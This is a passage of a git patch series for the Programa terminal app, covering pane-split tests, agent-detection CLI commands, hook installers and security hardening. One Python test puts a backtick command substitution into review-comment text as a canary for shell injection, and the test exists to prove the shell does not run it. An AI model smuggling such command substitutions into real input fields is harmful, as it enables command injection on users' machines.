makeFourPaneWorkspace() throws -> Workspace { + let workspace = Workspace() + for _ in 0..<3 { + let source = try XCTUnwrap(workspace.focusedPanelId) + XCTAssertNotNil(workspace.newTerminalSplit(from: source, orientation: .horizontal)) + } + XCTAssertEqual(workspace.bonsplitController.allPaneIds.count, SplitPolicy.maxPanesPerWorkspace) + return workspace + } + + func testBrowserSplitAtPaneCapIsVetoedWithoutCreatingAPanel() throws { + let workspace = try makeFourPaneWorkspace() + defer { workspace.teardownAllPanels() } + XCTAssertFalse(workspace.canAddSplitPane) + let panelCount = workspace.panels.count + let source = try XCTUnwrap(workspace.focusedPanelId) + + XCTAssertNil(workspace.newBrowserSplit(from: source, orientation: .vertical)) + + XCTAssertEqual(workspace.panels.count, panelCount) + XCTAssertEqual(workspace.bonsplitController.allPaneIds.count, SplitPolicy.maxPanesPerWorkspace) + } + + // MARK: 19 background tab creation leaves selection and focus alone + + private func twoPaneFixture() throws -> (workspace: Workspace, backgroundPane: PaneID, selectedTab: TabID, focusedPane: PaneID) { + let workspace = Workspace() + let first = try XCTUnwrap(workspace.focusedPanelId) + let backgroundPane = try XCTUnwrap(workspace.paneId(forPanelId: first)) + let selected = try XCTUnwrap(workspace.bonsplitController.selectedTab(inPane: backgroundPane)?.id) + XCTAssertNotNil(workspace.newTerminalSplit(from: first, orientation: .horizontal, focus: true)) + let focused = try XCTUnwrap(workspace.bonsplitController.focusedPaneId) + XCTAssertNotEqual(focused, backgroundPane) + return (workspace, backgroundPane, selected, focused) + } + + func testNewTerminalSurfaceWithoutSelectKeepsSelectionAndFocus() throws { + let fixture = try twoPaneFixture() + defer { fixture.workspace.teardownAllPanels() } + let workspace = fixture.workspace + + let panel = try XCTUnwrap(workspace.newTerminalSurface(inPane: fixture.backgroundPane, selectInPane: false)) + + XCTAssertEqual(workspace.bonsplitController.selectedTab(inPane: fixture.backgroundPane)?.id, fixture.selectedTab) + XCTAssertEqual(workspace.bonsplitController.focusedPaneId, fixture.focusedPane) + let newTab = try XCTUnwrap(workspace.surfaceIdFromPanelId(panel.id)) + XCTAssertTrue(workspace.bonsplitController.tabs(inPane: fixture.backgroundPane).contains { $0.id == newTab }) + } + + func testNewBrowserSurfaceAtEndWithoutSelectKeepsSelectionAndFocus() throws { + let fixture = try twoPaneFixture() + defer { fixture.workspace.teardownAllPanels() } + let workspace = fixture.workspace + + let panel = try XCTUnwrap(workspace.newBrowserSurface( + inPane: fixture.backgroundPane, insertAtEnd: true, selectInPane: false + )) + + XCTAssertEqual(workspace.bonsplitController.selectedTab(inPane: fixture.backgroundPane)?.id, fixture.selectedTab) + XCTAssertEqual(workspace.bonsplitController.focusedPaneId, fixture.focusedPane) + let tabs = workspace.bonsplitController.tabs(inPane: fixture.backgroundPane) + let newTab = try XCTUnwrap(workspace.surfaceIdFromPanelId(panel.id)) + XCTAssertEqual(tabs.last?.id, newTab) + } +} diff --git a/tests_v2/test_review_diff_panel.py b/tests_v2/test_review_diff_panel.py index a62efd78c..14aa0d748 100644 --- a/tests_v2/test_review_diff_panel.py +++ b/tests_v2/test_review_diff_panel.py @@ -70,6 +70,7 @@ def _read_terminal_text_until(c: ProgramaClient, surface_id: str, needle: str, t def main() -> int: repo_dir = _make_dirty_git_repo() workspace_id = "" + canary_path: Path | None = None try: with ProgramaClient(SOCKET_PATH) as c: @@ -144,9 +145,24 @@ def main() -> int: timeout_s=10.0, ) + # A comment carrying a shell command substitution. Review text is delivered as one + # paste with no implicit Return into a plain shell (no agent presence), so the shell + # must never execute it. Typed-key delivery used to turn each newline into Return. + canary_path = Path(tempfile.gettempdir()) / f"fixsweep-review-{int(time.time() * 1000)}" + c._call( + "review.comment.add", + { + "surface_id": review_surface_id, + "file_path": "src_foo.txt", + "start_line": 3, + "text": f"`touch {canary_path}`\nsecond line `touch {canary_path}`", + }, + timeout_s=10.0, + ) + # 3. review.send_comments delivers the serialized text into the source surface. sent = c._call("review.send_comments", {"surface_id": review_surface_id}, timeout_s=10.0) or {} - _must(int(sent.get("sent_count") or 0) == 2, f"Expected 2 comments sent: {sent}") + _must(int(sent.get("sent_count") or 0) == 3, f"Expected 3 comments sent: {sent}") _must( str(sent.get("target_surface_id") or "") == source_surface_id, f"Expected review.send_comments to target the reviewed surface: {sent}", @@ -156,6 +172,13 @@ def main() -> int: _must(marker in terminal_text, f"Expected marker {marker!r} to land in the reviewed terminal: {terminal_text!r}") _must("untracked.txt" in terminal_text, f"Expected serialized file path to land in the terminal: {terminal_text!r}") + # Give a shell that wrongly received Return time to run the substitution. + time.sleep(1.5) + _must( + not canary_path.exists(), + f"Review comment text was executed by the plain shell (found {canary_path})", + ) + # Pending comments are cleared after a successful send. post_send_list = c._call("review.comment.list", {"surface_id": review_surface_id}, timeout_s=10.0) or {} _must( @@ -175,6 +198,8 @@ def main() -> int: except Exception: pass shutil.rmtree(repo_dir, ignore_errors=True) + if canary_path is not None: + canary_path.unlink(missing_ok=True) print("PASS: review.open/comment/send_comments round-trip through the socket API") return 0 From 37547a635616ef342481fff128cb06280add3dd5 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 12:27:13 -0300 Subject: [PATCH 05/21] fix: require consent for integration installs and stop CLI socket autodiscovery --- CLI-MCP/MCPErrorMapping.swift | 2 +- CLI-MCP/MCPSocketBridge.swift | 9 +- CLI-MCP/ToolCatalog.swift | 10 +- CLI/CLI+AgentDetection.swift | 375 ++++++++++ CLI/CLI+AgentWrappers.swift | 12 +- CLI/CLI+HookSettingsIO.swift | 306 ++++++++ CLI/CLI+Hooks.swift | 357 ++------- CLI/CLI+TmuxCompat.swift | 121 ++- CLI/CLICommandDispatcher.swift | 4 +- CLI/HookInstallationCoordinator.swift | 19 +- CLI/SocketPathResolution.swift | 27 +- CLI/programa.swift | 688 +++++------------- GhosttyTabs.xcodeproj/project.pbxproj | 8 + Resources/shell-integration/fish/config.fish | 31 +- .../programa-bash-integration.bash | 35 +- .../programa-zsh-integration.zsh | 63 +- SKILL.md | 10 +- .../test_cli_claude_settings_preservation.py | 94 +++ ...t_cli_noninteractive_install_regression.py | 67 ++ ..._cli_socket_no_autodiscovery_regression.py | 128 ++++ tests/test_cli_wait_surface_agent_state.py | 57 ++ tests/test_shell_state_report_ordering.py | 175 +++++ ..._cli_global_flags_and_v1_error_contract.py | 25 - tests_v2/test_codex_install_integration.py | 13 +- tests_v2/test_opencode_install_integration.py | 2 +- 25 files changed, 1730 insertions(+), 908 deletions(-) create mode 100644 CLI/CLI+AgentDetection.swift create mode 100644 CLI/CLI+HookSettingsIO.swift create mode 100644 tests/test_cli_claude_settings_preservation.py create mode 100644 tests/test_cli_noninteractive_install_regression.py create mode 100644 tests/test_cli_socket_no_autodiscovery_regression.py create mode 100644 tests/test_cli_wait_surface_agent_state.py create mode 100644 tests/test_shell_state_report_ordering.py diff --git a/CLI-MCP/MCPErrorMapping.swift b/CLI-MCP/MCPErrorMapping.swift index 3f04d923b..41e1da0f5 100644 --- a/CLI-MCP/MCPErrorMapping.swift +++ b/CLI-MCP/MCPErrorMapping.swift @@ -3,7 +3,7 @@ import MCP /// Translates `MCPSocketBridge` failures into an MCP tool-call error. /// -/// The v2 socket protocol is NOT JSON-RPC 2.0 (docs/plans/mcp-server.md §1.2): +/// The v2 socket protocol is NOT JSON-RPC 2.0 (docs/socket-api.md): /// its errors are a flat `{"code":..., "message":...}` object, and a legacy /// pre-JSON `ERROR: ...` line can appear before the JSON protocol engages. /// Neither shape is passed through raw -- both are mapped here onto a diff --git a/CLI-MCP/MCPSocketBridge.swift b/CLI-MCP/MCPSocketBridge.swift index a0d0810d9..6c6d33a97 100644 --- a/CLI-MCP/MCPSocketBridge.swift +++ b/CLI-MCP/MCPSocketBridge.swift @@ -4,7 +4,7 @@ import Darwin /// Failure modes talking to Programa's v2 control socket. /// -/// The wire protocol (docs/plans/mcp-server.md §1.2) is newline-delimited +/// The wire protocol (docs/socket-api.md) is newline-delimited /// JSON, NOT JSON-RPC 2.0 -- responses are `{"ok":true,"result":...}` / /// `{"ok":false,"error":{"code":...,"message":...}}`, and a legacy /// pre-JSON `ERROR: ...` line can appear before the JSON protocol engages @@ -72,10 +72,9 @@ struct MCPSocketBridge { } /// Resolves the Programa control socket path the same way the CLI does - /// (`CLI/programa.swift`'s `run()`, lines ~1387-1405): `PROGRAMA_SOCKET_PATH` - /// takes priority over `PROGRAMA_SOCKET` (matching `tests_v2/programa_client.py:58-60`), - /// then falls back to `CLISocketPathResolver`'s tagged-debug / discovery / - /// stable-default logic, shared via `CLI/SocketPathResolution.swift`. + /// (`CLICommandDispatcher.run()`): `PROGRAMA_SOCKET_PATH` takes priority over + /// `PROGRAMA_SOCKET`, then `CLISocketPathResolver` (`CLI/SocketPathResolution.swift`) + /// tries the `PROGRAMA_TAG` sockets and the stable defaults only. static func resolveSocketPath(environment: [String: String] = ProcessInfo.processInfo.environment) -> String { let envSocketPath: String? = { for key in ["PROGRAMA_SOCKET_PATH", "PROGRAMA_SOCKET"] { diff --git a/CLI-MCP/ToolCatalog.swift b/CLI-MCP/ToolCatalog.swift index d344a5f1b..a41d70b35 100644 --- a/CLI-MCP/ToolCatalog.swift +++ b/CLI-MCP/ToolCatalog.swift @@ -52,8 +52,8 @@ struct ProgramaTool { } /// JSON Schema building blocks shared by every `*Tools.swift` file. Kept minimal on purpose -- -/// only the shapes this catalog's 187 tools actually need (see the escape hatch in the Phase 3 -/// briefing for what to do if a handler needs something richer). +/// only the shapes this catalog's tools actually need; add a builder here when a handler +/// needs something richer. enum ProgramaToolSchema { static func string(_ description: String) -> Value { ["type": "string", "description": .string(description)] @@ -163,13 +163,11 @@ enum ToolCatalog { /// The full, ordered tool catalog. `ListTools` and `CallTool` are both driven off this one /// table (see `register(on:)`), so they cannot drift apart. /// - /// `browser.*` (85 methods) is exposed via `BrowserTools.swift` (82 tools) plus the three + /// `browser.*` is exposed via `BrowserTools.swift` plus the three /// focus-stealing browser methods in `FocusTools.swift` (`browser.focus_webview`, /// `browser.focus`, `browser.tab.switch`). /// - /// Deliberately excludes (see `docs/plans/mcp-server.md` §3 and the Phase 3 briefing for - /// the authoritative rationale, restated here so a future reader doesn't mistake these for - /// oversights): + /// Deliberately excludes (so a future reader doesn't mistake these for oversights): /// - `debug.*`: DEBUG-build-only test-harness hooks that can simulate keystrokes and /// activate the app. /// - `auth.login`, `settings.open`, `feedback.open`, `feedback.submit`, `markdown.open`: diff --git a/CLI/CLI+AgentDetection.swift b/CLI/CLI+AgentDetection.swift new file mode 100644 index 000000000..1066d6432 --- /dev/null +++ b/CLI/CLI+AgentDetection.swift @@ -0,0 +1,375 @@ +import Foundation + +extension ProgramaCLI { + // MARK: - Agent detection commands (docs/agent-detection-manifests.md) + + func runAgentDetectionCommand( + commandArgs: [String], + client: SocketClient, + jsonOutput: Bool, + idFormat: CLIIDFormat, + windowId: String? + ) throws { + var positional = commandArgs + guard let subcommandRaw = positional.first else { + throw CLIError(message: "agent-detection requires a subcommand: list, scaffold, test") + } + positional.removeFirst() + + switch subcommandRaw.lowercased() { + case "list": + try runAgentDetectionList(args: positional, client: client, jsonOutput: jsonOutput, idFormat: idFormat) + case "scaffold": + try runAgentDetectionScaffold(args: positional, client: client, jsonOutput: jsonOutput, windowId: windowId) + case "test": + try runAgentDetectionTest(args: positional, client: client, jsonOutput: jsonOutput, idFormat: idFormat, windowId: windowId) + default: + throw CLIError(message: "agent-detection: unknown subcommand '\(subcommandRaw)' (expected list, scaffold, test)") + } + } + + private func runAgentDetectionList( + args: [String], + client: SocketClient, + jsonOutput: Bool, + idFormat: CLIIDFormat + ) throws { + if let unknown = args.first(where: { $0.hasPrefix("--") && $0 != "--json" }) { + throw CLIError(message: "agent-detection list: unknown flag '\(unknown)'") + } + + let payload = try client.sendV2(method: V2MethodNames.agentDetectionList) + if jsonOutput { + print(jsonString(payload)) + return + } + + let manifests = payload["manifests"] as? [[String: Any]] ?? [] + guard !manifests.isEmpty else { + print("No agent-detection manifests loaded") + return + } + for entry in manifests { + let agent = entry["agent"] as? String ?? "?" + let displayName = entry["display_name"] as? String ?? agent + let source = entry["source"] as? String ?? "?" + let processNames = (entry["process_names"] as? [String] ?? []).joined(separator: ", ") + let shadowsBundled = (entry["shadows_bundled"] as? Bool) ?? false + var line = "\(agent) (\(displayName), source=\(source), process_names=[\(processNames)])" + if shadowsBundled { + line += " [shadows bundled manifest]" + } + print(line) + } + } + + /// Mirrors `AgentManifestLoader.bundledAgentIds` + /// (Sources/AgentManifestLoader.swift:21-29) -- this CLI target can't import that type, so + /// this is a manually-kept-in-sync copy, used only to gate `agent-detection scaffold`'s + /// bundled-shadowing guard below. + private static let agentDetectionBundledIds: Set = [ + "claude-code", "codex", "gemini-cli", "opencode", "copilot-cli", "cursor-agent", "aider" + ] + + private func runAgentDetectionScaffold( + args: [String], + client: SocketClient, + jsonOutput: Bool, + windowId: String? + ) throws { + let (wsArg, rem0) = parseOption(args, name: "--workspace") + let (sfArg, rem1) = parseOption(rem0, name: "--surface") + let force = hasFlag(rem1, name: "--force") + var positional = rem1.filter { $0 != "--force" } + + guard let agentId = positional.first, !agentId.hasPrefix("--") else { + throw CLIError(message: "agent-detection scaffold requires ") + } + positional.removeFirst() + if let unknown = positional.first(where: { $0.hasPrefix("--") }) { + throw CLIError(message: "agent-detection scaffold: unknown flag '\(unknown)'") + } + guard isValidAgentDetectionId(agentId) else { + throw CLIError(message: "agent-detection scaffold: must be lowercase letters, digits, and hyphens only") + } + + let destinationDirectory = ("~/.config/programa/agent-detection" as NSString).expandingTildeInPath + let destinationPath = (destinationDirectory as NSString).appendingPathComponent("\(agentId).json") + + // A user override at `destinationPath` fully replaces the bundled manifest for this + // agent id (no field merge -- AgentManifestLoader.swift's header), and a freshly + // scaffolded manifest starts with empty `patterns` (safe -- see + // `agentDetectionScaffoldJSON`'s doc comment -- but inert). Scaffolding one of the seven + // bundled ids without --force would therefore silently replace working screen-based + // detection with a manifest that detects nothing at all. Refuse by default; --force + // seeds the new file from the bundled manifest's own patterns instead of starting blank, + // so forcing degrades to "edit a copy of what already worked." + var seedStates: [[String: Any]]? + if Self.agentDetectionBundledIds.contains(agentId) { + guard force else { + throw CLIError(message: """ + agent-detection scaffold: '\(agentId)' is one of programa's bundled agents. A user override at \(destinationPath) fully replaces its bundled manifest (no merge) -- and a freshly scaffolded manifest starts with empty patterns, so screen-based detection for '\(agentId)' would silently stop working until you fill them back in. Pass --force to proceed anyway; the bundled manifest's existing patterns will be seeded into the new file so you start from a working copy, not a blank one. + """) + } + let listPayload = try client.sendV2(method: V2MethodNames.agentDetectionList) + let manifests = listPayload["manifests"] as? [[String: Any]] ?? [] + if let match = manifests.first(where: { ($0["agent"] as? String) == agentId }) { + seedStates = match["states"] as? [[String: Any]] + } + } + + let workspaceArg = wsArg ?? (windowId == nil ? ProcessInfo.processInfo.environment["PROGRAMA_WORKSPACE_ID"] : nil) + + var readParams: [String: Any] = [:] + let wsId = try normalizeWorkspaceHandle(workspaceArg, client: client) + if let wsId { readParams["workspace_id"] = wsId } + let sfId = try resolveCommandSurface( + explicitSurface: sfArg, explicitWorkspace: wsArg, + windowId: windowId, workspaceHandle: wsId, client: client + ) + if let sfId { readParams["surface_id"] = sfId } + + // Capture the currently visible screen only (no --scrollback/--lines), same socket + // method 'read-screen' calls, via the same client -- see CommandDescriptor(names: + // ["read-screen"]) above. + let readPayload = try client.sendV2(method: V2MethodNames.surfaceReadText, params: readParams) + let capturedText = (readPayload["text"] as? String) ?? "" + + if !force, FileManager.default.fileExists(atPath: destinationPath) { + throw CLIError(message: "agent-detection scaffold: \(destinationPath) already exists (use --force to overwrite)") + } + + do { + try FileManager.default.createDirectory(atPath: destinationDirectory, withIntermediateDirectories: true) + } catch { + throw CLIError(message: "agent-detection scaffold: failed to create \(destinationDirectory): \(error.localizedDescription)") + } + + let manifestJSON = agentDetectionScaffoldJSON(agentId: agentId, capturedText: capturedText, seedStates: seedStates) + do { + try manifestJSON.write(toFile: destinationPath, atomically: true, encoding: .utf8) + } catch { + throw CLIError(message: "agent-detection scaffold: failed to write \(destinationPath): \(error.localizedDescription)") + } + + if jsonOutput { + print(jsonString(["path": destinationPath, "agent": agentId, "seeded_from_bundled": seedStates != nil])) + } else { + print("Wrote starter manifest: \(destinationPath)") + if seedStates != nil { + print("Seeded from the bundled '\(agentId)' manifest's existing patterns -- review them, they were verified against the bundled agent's UI, not necessarily yours.") + } + print("Next: review/fill in its \"patterns\" arrays, then run 'programa agent-detection test \(agentId)' to check them against the live screen.") + } + } + + private func runAgentDetectionTest( + args: [String], + client: SocketClient, + jsonOutput: Bool, + idFormat: CLIIDFormat, + windowId: String? + ) throws { + let (wsArg, rem0) = parseOption(args, name: "--workspace") + let (sfArg, rem1) = parseOption(rem0, name: "--surface") + var positional = rem1 + + var agentId: String? + if let first = positional.first, !first.hasPrefix("--") { + agentId = first + positional.removeFirst() + } + if let unknown = positional.first { + throw CLIError(message: "agent-detection test: unexpected arguments: \(unknown)") + } + + let workspaceArg = wsArg ?? (windowId == nil ? ProcessInfo.processInfo.environment["PROGRAMA_WORKSPACE_ID"] : nil) + + var params: [String: Any] = [:] + let wsId = try normalizeWorkspaceHandle(workspaceArg, client: client) + if let wsId { params["workspace_id"] = wsId } + let sfId = try resolveCommandSurface( + explicitSurface: sfArg, explicitWorkspace: wsArg, + windowId: windowId, workspaceHandle: wsId, client: client + ) + if let sfId { params["surface_id"] = sfId } + if let agentId { params["agent"] = agentId } + + let payload = try client.sendV2(method: V2MethodNames.agentDetectionClassify, params: params) + if jsonOutput { + print(jsonString(formatIDs(payload, mode: idFormat))) + return + } + + guard let recognizedAgent = payload["agent"] as? String else { + if let agentId { + print("No manifest loaded for '\(agentId)'") + } else { + print("No loaded manifest recognized this screen") + } + return + } + let displayName = payload["display_name"] as? String ?? recognizedAgent + guard let bucket = payload["bucket"] as? String else { + print("\(recognizedAgent) (\(displayName)) recognized, but no state pattern matched the current screen") + return + } + let confidence = payload["confidence"] as? String ?? "?" + let matchedPattern = payload["matched_pattern"] as? String ?? "?" + print("\(recognizedAgent) (\(displayName)): \(bucket) [confidence=\(confidence), pattern=\(matchedPattern)]") + } + + private func isValidAgentDetectionId(_ value: String) -> Bool { + !value.isEmpty && value.allSatisfy { $0.isLowercase || $0.isNumber || $0 == "-" } + } + + private func agentDetectionDisplayName(forAgentId agentId: String) -> String { + agentId + .split(separator: "-") + .map { $0.isEmpty ? "" : $0.prefix(1).uppercased() + $0.dropFirst() } + .joined(separator: " ") + } + + /// Wraps `value` as a single JSON string literal (quotes + escaping) via JSONSerialization, + /// so arbitrary captured terminal text (quotes, backslashes, control characters, unicode) can + /// be embedded into hand-assembled JSON safely, without a bespoke escaper. + private func jsonEscapedString(_ value: String) -> String { + guard let data = try? JSONSerialization.data(withJSONObject: [value], options: [.withoutEscapingSlashes]), + let arrayJSON = String(data: data, encoding: .utf8), + arrayJSON.hasPrefix("["), arrayJSON.hasSuffix("]") else { + return "\"\"" + } + return String(arrayJSON.dropFirst().dropLast()) + } + + private func lastLines(_ text: String, maxLines: Int) -> String { + let lines = text.split(separator: "\n", omittingEmptySubsequences: false) + guard lines.count > maxLines else { return text } + return lines.suffix(maxLines).joined(separator: "\n") + } + + /// Encodes `values` as a compact JSON string array literal (e.g. `["a","b"]`) via + /// `JSONSerialization`, so a bundled manifest's existing `patterns` (fetched over the wire + /// from `agent.detection.list`) can be re-embedded into scaffolded JSON verbatim and safely, + /// without a bespoke escaper. + private func jsonEncodedStringArray(_ values: [String]) -> String { + guard let data = try? JSONSerialization.data(withJSONObject: values, options: [.withoutEscapingSlashes]), + let json = String(data: data, encoding: .utf8) else { + return "[]" + } + return json + } + + private func agentDetectionStateBlockLiteral( + bucket: String, + priority: Int, + anchorLines: Int, + patternsJSON: String, + confidence: String, + notes: String + ) -> String { + " {\n" + + " \"bucket\": \(jsonEscapedString(bucket)),\n" + + " \"priority\": \(priority),\n" + + " \"anchor_last_n_lines\": \(anchorLines),\n" + + " \"patterns\": \(patternsJSON),\n" + + " \"confidence\": \(jsonEscapedString(confidence)),\n" + + " \"source_notes\": \(jsonEscapedString(notes))\n" + + " }" + } + + /// Builds a starter manifest matching `AgentManifest`'s schema (Sources/AgentManifest.swift) + /// -- this CLI target cannot import that type directly, so the shape is mirrored by hand. + /// + /// When `seedStates` is nil (the common case: scaffolding an agent with no bundled + /// manifest), all three `states[].patterns` are left empty -- confirmed safe: + /// `AgentManifest.classify(text:)` iterates a state's patterns with a `for` loop, so an + /// empty array matches nothing, never everything -- with a TODO in `source_notes` plus the + /// captured screen as reference text, since JSON has no comments. + /// + /// When `seedStates` is non-nil (forced scaffold of a bundled agent id -- see + /// `runAgentDetectionScaffold`'s bundled-shadowing guard), those states' own patterns are + /// reused verbatim instead, so the result is an editable copy of a working manifest rather + /// than a blank one. + private func agentDetectionScaffoldJSON( + agentId: String, + capturedText: String, + seedStates: [[String: Any]]? + ) -> String { + let displayName = agentDetectionDisplayName(forAgentId: agentId) + let truncated = lastLines(capturedText, maxLines: 30) + let screenReference: String + if truncated.isEmpty { + screenReference = "No screen text was captured (surface appeared empty at scaffold time)." + } else { + let lineCount = truncated.split(separator: "\n", omittingEmptySubsequences: false).count + screenReference = "Captured screen (last \(lineCount) lines) for reference, delete once patterns are reviewed:\n\(truncated)" + } + + let stateBlocks: [String] + if let seedStates, !seedStates.isEmpty { + stateBlocks = seedStates.map { state in + let bucket = state["bucket"] as? String ?? "idle" + let priority = (state["priority"] as? Int) ?? ((state["priority"] as? NSNumber)?.intValue ?? 0) + let anchorLines = (state["anchor_last_n_lines"] as? Int) ?? ((state["anchor_last_n_lines"] as? NSNumber)?.intValue ?? 6) + let patterns = (state["patterns"] as? [String]) ?? [] + let confidence = state["confidence"] as? String ?? "low" + let notes = "SEEDED from the bundled '\(agentId)' manifest (forced override) -- " + + "review these, they were verified against the bundled agent's UI, not " + + "necessarily yours. \(screenReference)" + return agentDetectionStateBlockLiteral( + bucket: bucket, + priority: priority, + anchorLines: anchorLines, + patternsJSON: jsonEncodedStringArray(patterns), + confidence: confidence, + notes: notes + ) + } + } else { + let templates: [(bucket: String, priority: Int, anchorLines: Int, hint: String)] = [ + ( + "blocked", 100, 12, + "Add regex patterns that appear when \(displayName) is waiting on you -- a y/n confirmation, a permission prompt, etc." + ), + ( + "working", 50, 6, + "Add regex patterns that appear while \(displayName) is actively working -- a spinner, \"Thinking\", token counters, etc." + ), + ( + "idle", 0, 4, + "Add regex patterns that match \(displayName)'s prompt when it's idle and ready for the next instruction." + ) + ] + stateBlocks = templates.map { template in + let notes = "TODO: \(template.hint) Patterns are intentionally empty -- an empty " + + "list matches nothing (never everything; see AgentManifest.classify). \(screenReference)" + return agentDetectionStateBlockLiteral( + bucket: template.bucket, + priority: template.priority, + anchorLines: template.anchorLines, + patternsJSON: "[]", + confidence: "low", + notes: notes + ) + } + } + + let states = stateBlocks.joined(separator: ",\n") + + return """ + { + "version": 1, + "agent": \(jsonEscapedString(agentId)), + "display_name": \(jsonEscapedString(displayName)), + "recognize": { + "process_names": [\(jsonEscapedString(agentId))], + "screen_patterns": [] + }, + "states": [ + \(states) + ] + } + """ + } +} diff --git a/CLI/CLI+AgentWrappers.swift b/CLI/CLI+AgentWrappers.swift index 93974ab39..c98ee305a 100644 --- a/CLI/CLI+AgentWrappers.swift +++ b/CLI/CLI+AgentWrappers.swift @@ -429,6 +429,9 @@ extension ProgramaCLI { } private static let omoPluginName = "oh-my-opencode" + /// Exact version installed into the shadow package. A floating `latest` would run any new + /// npm release's install scripts as the user; bump this deliberately after reviewing one. + private static let omoPluginVersion = "5.1.7" private func resolveExecutableInPath(_ name: String) -> String? { let entries = ProcessInfo.processInfo.environment["PATH"]?.split(separator: ":").map(String.init) ?? [] @@ -469,11 +472,10 @@ extension ProgramaCLI { } // Keep the shadow package isolated from stale/yanked pins in the user's - // opencode package.json. bun will update this manifest with the resolved - // oh-my-opencode version when installation succeeds. + // opencode package.json, and pinned to the one reviewed release. let packageManifest: [String: Any] = [ "dependencies": [ - Self.omoPluginName: "latest" + Self.omoPluginName: Self.omoPluginVersion ], "name": "programa-omo-shadow", "private": true @@ -679,7 +681,7 @@ extension ProgramaCLI { let installDir = shadowDir if let bunPath = resolveExecutableInPath("bun") { FileHandle.standardError.write("Installing oh-my-opencode plugin (this may take a minute on first run)...\n".data(using: .utf8)!) - let installArguments = ["add", Self.omoPluginName] + let installArguments = ["add", "--exact", "\(Self.omoPluginName)@\(Self.omoPluginVersion)"] let firstAttemptStatus = try omoRunPackageInstall( executablePath: bunPath, arguments: installArguments, @@ -703,7 +705,7 @@ extension ProgramaCLI { FileHandle.standardError.write("Installing oh-my-opencode plugin (this may take a minute on first run)...\n".data(using: .utf8)!) let status = try omoRunPackageInstall( executablePath: npmPath, - arguments: ["install", Self.omoPluginName], + arguments: ["install", "--save-exact", "\(Self.omoPluginName)@\(Self.omoPluginVersion)"], currentDirectoryURL: installDir ) if status != 0 { diff --git a/CLI/CLI+HookSettingsIO.swift b/CLI/CLI+HookSettingsIO.swift new file mode 100644 index 000000000..afd60d4fd --- /dev/null +++ b/CLI/CLI+HookSettingsIO.swift @@ -0,0 +1,306 @@ +import Foundation +import Darwin + +extension ProgramaCLI { + // MARK: - Integration installer IO shared by the Claude, Codex and OpenCode installers + + /// Expands a leading `~` against `$HOME`. `NSString.expandingTildeInPath` ignores `HOME` + /// (only `CFFIXED_USER_HOME` redirects it), while Claude Code and Codex honor `HOME`, so an + /// installer run with an overridden `HOME` must write where the agent will read. + static func integrationExpandTilde(_ path: String) -> String { + guard path == "~" || path.hasPrefix("~/") else { return path } + let env = ProcessInfo.processInfo.environment["HOME"]?.trimmingCharacters(in: .whitespacesAndNewlines) + let home = (env?.isEmpty == false ? env! : NSHomeDirectory()) + return path == "~" ? home : (home as NSString).appendingPathComponent(String(path.dropFirst(2))) + } + + /// Asks before an integration change is applied. `--yes`/`-y` skips the prompt. A + /// non-interactive stdin without `--yes`, or an answer other than yes, exits non-zero so a + /// script or agent never mistakes an aborted install for a successful one. + func confirmIntegrationChanges() throws { + let arguments = ProcessInfo.processInfo.arguments + if arguments.contains("--yes") || arguments.contains("-y") { return } + guard isatty(STDIN_FILENO) == 1 else { + throw CLIError(message: "stdin is not a terminal; pass --yes to apply non-interactively. Nothing was changed.") + } + print("Apply these changes? [Y/n] ", terminator: "") + guard let response = readLine()?.trimmingCharacters(in: .whitespacesAndNewlines).lowercased(), + response.isEmpty || response == "y" || response == "yes" else { + throw CLIError(message: "Aborted. Nothing was changed.") + } + } + + /// Hook payload from stdin. A TTY stdin carries no payload, and an agent that leaves the pipe + /// open must not stall its own hook, so reading stops at EOF or after `deadline` seconds. + func readAgentHookStdin(deadline: TimeInterval = 2) -> String { + guard isatty(STDIN_FILENO) == 0 else { return "" } + var data = Data() + var buffer = [UInt8](repeating: 0, count: 64 * 1024) + let end = Date().addingTimeInterval(deadline) + while true { + let remainingMs = Int32(max(0, end.timeIntervalSinceNow * 1000)) + guard remainingMs > 0 else { break } + var descriptor = pollfd(fd: STDIN_FILENO, events: Int16(POLLIN), revents: 0) + let ready = poll(&descriptor, 1, remainingMs) + if ready < 0, errno == EINTR { continue } + guard ready > 0 else { break } + let count = Darwin.read(STDIN_FILENO, &buffer, buffer.count) + if count < 0, errno == EINTR { continue } + guard count > 0 else { break } + data.append(buffer, count: count) + } + return String(data: data, encoding: .utf8) ?? "" + } + + // MARK: - Claude Code integration (persistent hooks) + + /// The persistent hook command installed into ~/.claude/settings.json (or + /// $CLAUDE_CONFIG_DIR/settings.json). Unlike the runtime wrapper injected by + /// Resources/bin/claude (which always runs inside a programa terminal and can + /// assume programa is reachable), this command runs from *any* terminal, so it + /// defensively checks both that it's inside a programa surface and that the + /// programa CLI is on PATH before calling out. Mirrors the codex guard shape. + private static func claudeHookCommand(_ event: String) -> String { + "[ -n \"$PROGRAMA_SURFACE_ID\" ] && command -v programa >/dev/null 2>&1 && programa claude-hook \(event) || echo '{}'" + } + + /// Identifier used to detect programa-owned hooks during install/uninstall. + private static let claudeHookCommandMarker = "programa claude-hook" + + private struct ClaudeHookEventSpec { + let name: String + let event: String + let timeout: Int + let isAsync: Bool + } + + /// The lifecycle events the runtime wrapper's HOOKS_JSON injects + /// (Resources/bin/claude:207), reproduced here for the persistent file. + private static let claudeHookEventSpecs: [ClaudeHookEventSpec] = [ + ClaudeHookEventSpec(name: "SessionStart", event: "session-start", timeout: 10, isAsync: false), + ClaudeHookEventSpec(name: "Stop", event: "stop", timeout: 10, isAsync: false), + ClaudeHookEventSpec(name: "SessionEnd", event: "session-end", timeout: 1, isAsync: false), + ClaudeHookEventSpec(name: "Notification", event: "notification", timeout: 10, isAsync: false), + ClaudeHookEventSpec(name: "UserPromptSubmit", event: "prompt-submit", timeout: 10, isAsync: false), + ClaudeHookEventSpec(name: "PreToolUse", event: "pre-tool-use", timeout: 5, isAsync: true), + ClaudeHookEventSpec(name: "SubagentStart", event: "subagent-start", timeout: 5, isAsync: false), + ClaudeHookEventSpec(name: "SubagentStop", event: "subagent-stop", timeout: 5, isAsync: false) + ] + + /// Builds the programa-owned hook groups, keyed by Claude Code lifecycle event + /// name, in Claude Code's settings.json hooks schema (matcher + hooks array). + private static var claudeHooksPayload: [String: Any] { + var hooks: [String: Any] = [:] + for spec in claudeHookEventSpecs { + var hookEntry: [String: Any] = [ + "type": "command", + "command": claudeHookCommand(spec.event), + "timeout": spec.timeout + ] + if spec.isAsync { + hookEntry["async"] = true + } + hooks[spec.name] = [[ + "matcher": "", + "hooks": [hookEntry] + ] as [String: Any]] + } + return hooks + } + + /// Removes every programa-owned hook from an event's 